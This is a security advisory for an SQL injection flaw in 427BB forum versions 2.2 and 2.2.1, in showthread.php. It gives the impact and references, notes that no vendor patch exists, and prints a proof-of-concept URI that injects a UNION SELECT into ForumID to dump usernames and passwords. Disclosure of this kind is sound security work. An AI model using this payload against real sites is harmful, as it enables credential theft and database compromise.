427BB Showthread.PHP SQL Injection Vulnerability

Bugtraq ID:	16169
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 09 2006 12:00AM
Updated:	Jan 09 2006 12:00AM
Credit:	Aliaksandr Hartsuyeu is credited with the discovery of this vulnerability.
Vulnerable:	427BB fourtwosevenbb 2.2.1 427BB fourtwosevenbb 2.2
Not Vulnerable:

427BB Showthread.PHP SQL Injection Vulnerability

427BB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue affects versions 2.2 and 2.2.1; other versions may also be vulnerable.

427BB Showthread.PHP SQL Injection Vulnerability

An exploit is not required.

The following proof of concept URI is available:
http://www.example.com/bb427/showthread.php?ForumID=999%20union%20select%20UserName,Passwrod,null,null%20from%20prefPersonal

427BB Showthread.PHP SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

427BB Showthread.PHP SQL Injection Vulnerability

References:

• 427BB Homepage (427BB)
  
• 427BB Multiple Vulnerabilities (Cookie-based Authentication Bypass, SQL Injectio (eVuln)
  
• 427BB Multiple Vulnerabilities (Cookie-based Authentication Bypass, SQL Injectio (eVuln)